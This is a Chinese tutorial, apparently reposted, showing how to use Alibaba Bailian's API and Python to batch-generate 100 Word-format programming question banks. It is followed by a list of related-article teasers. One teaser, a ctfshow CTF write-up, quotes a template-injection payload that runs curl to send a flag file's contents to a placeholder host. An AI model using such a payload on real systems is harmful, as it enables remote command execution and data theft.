喂饭教程:AI生成100套Word题库阿里云百炼实训营

news2024/11/24 1:10:55

郭震原创,手撸码字1870+22张图

你好,我是郭震

1 实际需求

前段时间,有个关注我的粉丝联系我,是一位大学计算机女老师。

她想做一个二级考试题库,选择题+实操题,最好100套以上,拿来给学生练手。

426c598c70e765740426c9b7d84cc7fb.png

问我有没有好的解决方案。

下面给铁铁们分析下。

没有AI前,手动找题,老师出题,估计没有个半月二十天还真搞不定。

现在呢?有了AI,还用再亲自下场吗?不需要了!

有的老铁说了,半自动行吗?

ca9ed94cf6dcb3d49d172a855f56f796.png

enen... 行是行,就是100+套,这种半自动方法,效率有些捉急。

最佳方案是什么?

那就是使用一种好用的大模型通过API调用。比如 ,使用阿里云百炼API调用,编写几行Python代码,100套题库按照指定格式批量保存到100个word文档里。

这种方法可以说简直不要太爽!

你根本不用动手,太方便。

并且时间大大缩短,分分钟搞定。

2 喂饭教程

阿里云百炼API,使用方法非常简单,全面支持Python接口开发。

e0a2f8b6515bdd8ea3fba327b533a706.png

下面,基于阿里云百炼API,我教铁铁们如何从零开始实现女老师的需求,做一个Python题库的喂饭级教程。

第一步,下面地址👇🏻是入口,访问它:

https://bailian.console.aliyun.com

a8ded9d94fba1d519c3a7699288401e3.png

再点击:立即调用按钮,进入界面看到第一个,就是下面通义千问-Max大模型:

ab81a938e55cff19f31ae85df59d990b.png

点击查看详情,看到通义千问-Max大模型API调用,赠送我们400万免费额度。

11e3224073d54b8e64aea7351530683d.png

400万免费额度是一个什么概念,等于80+本哈姆雷特!

cdf5ee244595f7806e774e3e4eb56dce.png

我的天,这个免费额度,我表示太良心,解决这位女老师的需求那是不在话下。

第二步:点击下面的「API调用示例」,我们看看如何调用:

3bd54dc1a615e73422ade492460b8f66.png

看到不超过20行代码,就能完成一次API提问和回答,Python是人工智能首选语言呀,第一个支持的语言就是Python:

1e09fb4976211b3a820cf884ff077442.png

批量对话,大概就是加一个for循环,让它批量跑起来。

接下来,点击上图最上面一行,我也单独截图了如下面,「查看我的API-KEY」按钮,这是你访问阿里云百炼API的钥匙:

49152aaf4022ddbec041b8acd0a13fb5.png

下面是我的API-KEY,点击查看按钮,复制到你自己的电脑里,保存好,后面可能会用到:

c7ee794532cf553471310d3815f6b9ed.png

复制上面这段代码到Pycharm中(Pycharm社区版免费,我用的也是社区版),复制后按到第二行有错误,原因缺少dashscope包:

9556f6530b1f342a097575f889cc1825.png

缺少就pip安装它,非常简单,使用一行命令:pip install dashscope,搞定。至于如何配置虚拟环境,如何在指定虚拟环境下安装包,大家问问AI就是,不再展开。界面如下:

3f97cdccf7ada113a34548610cbdc11a.png

接下来,再在这个代码的第二行,添加下面两行,设置你的访问API-KEY,就是上面我让大家记下来的那个key,这里为了防止我的被泄露,最后几位我打上*****号,😄:

3b5f85dc5a43dbfbeeecbdde17eb9dde.png

最后点击运行程序,直接就给发答案了:

ba31af1bfc3349c95422e145244a20c8.png

有的老铁问,在哪里提问它了,😄,写到代码里了:如下图第10行,如何做西红柿牛腩?

15afc2d713ba302b50b16312861775a8.png

这样我们就调通了demo

接下来可以正式开发Python题库并保存到word中了。这次我们使用阿里云百炼的qwen-long模型,它支持的上下文长度更大,最长1000万token,太吓人了!

如下提问,直接生成批量题库的代码:

基于这版代码,通过阿里云百炼API调用,开发100套Python题库,每套都保存到一个word中,一套题库包括10道Python编程选择题,2道上机练习题,题目最后需要附带答案,选择提不要解析,只给出选项。给我完整的Python代码。

整个代码66行,中间还算上空行,不连空行60行以内,Python代码简洁。使用阿里的dashscope SDK开发,第三小节会告诉大家如何学习SDK:

d02911f661e07f859624c72f687b7d6d.png

想要完整代码的铁铁,在下面我的公众号回复:题库,即可免费获取完整AI生成题库的代码:

3 搭建成果

1)一共100套

生成100套题库画面截图:

2b2eba0c54dbe75d9b91cc9ac0d21c09.png

2)每套截图:

第一套编程选择第一题,还附带了正确答案:

aa7cc01a33a87787b42e7a970fd313a0.png

第一套编程题上机练习题一截图:

03974ff976b65fbebc16983a2f0d8d28.png

需求解决完毕。

百炼AI这种API调用,对于开发者而言,价值很大。第一,百炼AI提供了丰富的现成功能,开发者无需从零开始构建复杂的AI模型;第二,它提供经过优化的算法,能够在保持高准确率的同时提升计算效率;第三,多样化的应用:从图像识别、自然语言处理到语音识别,百炼AI的API可以覆盖多个应用场景,满足不同开发需求。

为了更容易帮助开发者上手实现这些功能,阿里云百炼实训营推出系列视频教程,适合零基础小白从头开始学习,实测课程内容包括讲解:API使用、Prompt、插件、本地知识库RAG等。

e2eb4e3648fd0371d7c4de3791d89569.png

实践营满满的都是干货,开营时间在6月21日:

c2443b46282952a4e2e113d0894368ab.jpeg

跟着学完,还将获得阿里云百炼实践营结业证书,此证书可以证明你的AI大模型开发能力。

ending

今天这篇教程,带铁铁们学习如何使用阿里云百炼平台API,智能生成含100套的编程题库,步骤包括,登录百炼平台,获得API-key,并使用阿里的dashscope SDK开发,详细代码完全开源给大家,需要的在我的公众号后台回复:题库。

全文1870字,22图,教程完全由我原创。

铁铁们,原创教程不易,求点赞、在看、转发或留言。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1850349.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大脑临界状态:探索思维背后的物理机制

在深度思考或创造性灵感的涌现时刻,个体常体验到一种介于混乱与有序之间的特殊心理状态。这种感受实则反映了大脑在认知过程中的临界状态,这是一种涉及复杂物理现象的心理活动表现。近期研究表明,大脑结构中存在着与临界性密切相关的物理特性…

DataWhale - 吃瓜教程学习笔记(二)

学习视频:第3章-一元线性回归_哔哩哔哩_bilibili 西瓜书对应章节: 3.1 - 3.2 一元线性回归 - 最小二乘法 - 极大似然估计 - 梯度 多元函数的一阶导数 - 海塞矩阵 多元函数的二阶导数 - 机器学习三要素

php反序列化漏洞简介

目录 php序列化和反序列化简介 序列化 反序列化 类中定义的属性 序列化实例 反序列化实例 反序列化漏洞 序列化返回的字符串格式 魔术方法和反序列化利用 绕过wakeup 靶场实战 修复方法 php序列化和反序列化简介 序列化 将对象状态转换为可保持或可传输的格式的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

【开源节流】如何通过数字化转型增强盈利能力?

引言:随着市场竞争的日益激烈,新技术发展的推动和企业发展的需求等,这些背景因素共同促使企业加快数字化转型步伐,以适应市场变化、提升竞争力并实现可持续发展。那如何通过如何通过数字化转型增强盈利能力?需要通过开…

MobileNetV3轻量化YOLOv8

1 轻量化模型 一般而言,模型轻量化有三个途径: 知识蒸馏:大模型引导小模型训练,让其逼近大模型效果 轻量化模块替换:利用一些轻量化模块进行替换,减少模型参数 剪枝:通过优化算法引导模型裁剪无用的参数 MobileNetV3论文如下,自行搜索 2 修改步骤 在nn/modules的文…

神经网络学习6-线性层

归一化用的较少 正则化用来解决过拟合,处理最优化问题,批量归一化加快速度 正则化(Regularization): 作用:正则化是一种用来防止过拟合的技术,通过向模型的损失函数中添加惩罚项,使…

Wakelocks 框架设计与实现

Wakelocks 框架是基于Wakeup Source实现的为Android系统上层提供投票机制,以阻止系统进入休眠。 1.功能说明 该模块的支持受宏CONFIG_PM_WAKELOCKS控制。在使能该宏的情况下,PM Core初始化过程中会在sysfs下创建两个属性节点: /sys/power/w…

CNN神经网络猫狗分类经典案例

因为有猫和狗两类,所有在data/train目录下,再建两个目录data/train/dog和data/train/cat: 同理,其他的data/validation和data/test目录下,再建两个目录:cat和data/,在cat和dog目录下&#xff0c…

Vue82-组件内路由守卫

一、组件内路由守卫的定义 在一个组件里面去写路由守卫&#xff0c;而不是在路由配置文件index.js中去写。 此时&#xff0c;该路由守卫是改组件所独有的&#xff01; 只有通过路由规则进入的方式&#xff0c;才会调这两个函数&#xff0c;否则&#xff0c;若是只是用<Ab…

腰背肌筋膜炎怎么治疗最有效

腰背肌筋膜炎的治疗方法主要包括以下几种&#xff1a; 1、休息和物理治疗&#xff1a; 确保充足的休息&#xff0c;避免过度劳累&#xff0c;减少腰背部肌肉的负担。 物理治疗&#xff0c;如热敷或冷敷&#xff0c;可以缓解疼痛和肌肉紧张。热敷可以使用热水袋、热毛巾或电热垫…

读《文明之光》第2册总结

《文明之光》系列大致按照从地球诞生到近现代的顺序讲述了人类文明进程的各个阶段&#xff0c;每个章节相对独立&#xff0c;全景式地展现了人类文明发展历程中的多样性。《文明之光》系列第二册讲述了从近代科学兴起&#xff0c;到工业革命时代&#xff0c;以及原子能应用这一…

深入源码设计!Vue3.js核心API——Computed实现原理

如果您觉得这篇文章有帮助的话&#xff01;给个点赞和评论支持下吧&#xff0c;感谢~ 作者&#xff1a;前端小王hs 阿里云社区博客专家/清华大学出版社签约作者/csdn百万访问前端博主/B站千粉前端up主 此篇文章是博主于2022年学习《Vue.js设计与实现》时的笔记整理而来 书籍&a…

linux普通: rocketmq的安装测试与可视化界面安装,git的 (linux) 安装

全文目录,一步到位 1.前言简介1.1 专栏传送门(rabbitmq) 2. rocketmq使用及安装2.0 开放端口2.1 rocketmq版本说明2.2 具体操作2.2.1 修改文件2.2.2 具体启动指令ps: 查看日志 2.3.3 jps查看java进程2.3.4 测试运行情况> 步骤一: 临时指定nameserver注册中心位置> 步骤二…

Nginx 搭建域名访问环境

1.Nginx配置文件 server {listen 80;server_name www.gulimall.com;#charset koi8-r;#access_log /var/log/nginx/log/host.access.log main;location / {proxy_pass http://192.168.232.1:10001;}#error_page 404 /404.html;# redirect server error p…

学习redis根本不愁,简单明了

一、redis是什么&#xff1f; 在认识redis之前&#xff0c;我们先说一下什么是NoSQL&#xff1f; 1. NoSQL NoSQL&#xff0c;顾名思义就是不仅仅是SQL&#xff0c;泛指非关系数据库。 2. NoSQL的四大分类 &#xff08;1&#xff09;键值&#xff08;key-value&#xff09;存储…

程序猿成长之路之数据挖掘篇——决策树分类算法(1)——信息熵和信息增益

决策树不仅在人工智能领域发挥着他的作用&#xff0c;而且在数据挖掘中也在分类领域中独占鳌头。了解决策树的思想是学习数据挖掘中的分类算法的关键&#xff0c;也是学习分类算法的基础。 什么是决策树 用术语来说&#xff0c;决策树&#xff08;Decision Tree&#xff09;是…

写代码必用字体

下载链接 字体下载链接 使用情况/截图 软件&#xff1a;DEV-CPP 系统&#xff1a;Win10专业版 自带判等、大于、小于等符号的专属字体

微信小程序开发---自定义底部tabBar

自定义tabBar注意事项&#xff1a; 在自定义 tabBar 模式下 &#xff0c;为了保证低版本兼容以及区分哪些页面是 tab 页&#xff0c;app.json文件中 tabBar 的相关配置项需完整声明&#xff0c;但这些字段不会作用于自定义 tabBar 的渲染。所有 tabBar 的样式都由该自定义组件…

java:JWT的简单例子

【pom.xml】 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><version>2.3.12.RELEASE</version> </dependency> <dependency><groupId>org.springf…